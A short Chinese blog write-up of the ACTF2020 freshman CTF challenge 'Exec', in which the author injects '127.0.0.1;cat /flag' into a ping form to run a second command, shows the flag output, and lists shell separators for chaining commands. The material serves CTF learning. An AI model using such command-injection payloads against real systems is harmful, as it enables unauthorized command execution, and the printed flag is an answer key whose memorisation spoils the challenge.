[ACTF2020 新生赛]Exec

原创

kuller_Yan 于 2020-06-06 20:52:25 发布 469 收藏

分类专栏： CTF题目 # buu 文章标签： 数据库 安全

本文链接：https://blog.csdn.net/kuller_Yan/article/details/106593297

[ACTF2020 新生赛]Exec

wp from Kuller_Yan

打开靶机，输入127.0.0.1尝试提交

发现直接出现，无过滤。

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes
```

之间尝试管道符执行命令：`127.0.0.1;cat /flag`

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag{f887bf6e-005b-45c7-8331-bf726987e7e2}
```

也没啥好说的，什么都没过滤就直接执行命令就好；

常见管道符

1、|（就是按位或），直接执行|后面的语句

2、||（就是逻辑或），如果前面命令是错的那么就执行后面的语句，否则只执行前面的语句

3、&（就是按位与），&前面和后面命令都要执行，无论前面真假

4、&&（就是逻辑与），如果前面为假，后面的命令也不执行，如果前面为真则执行两条命令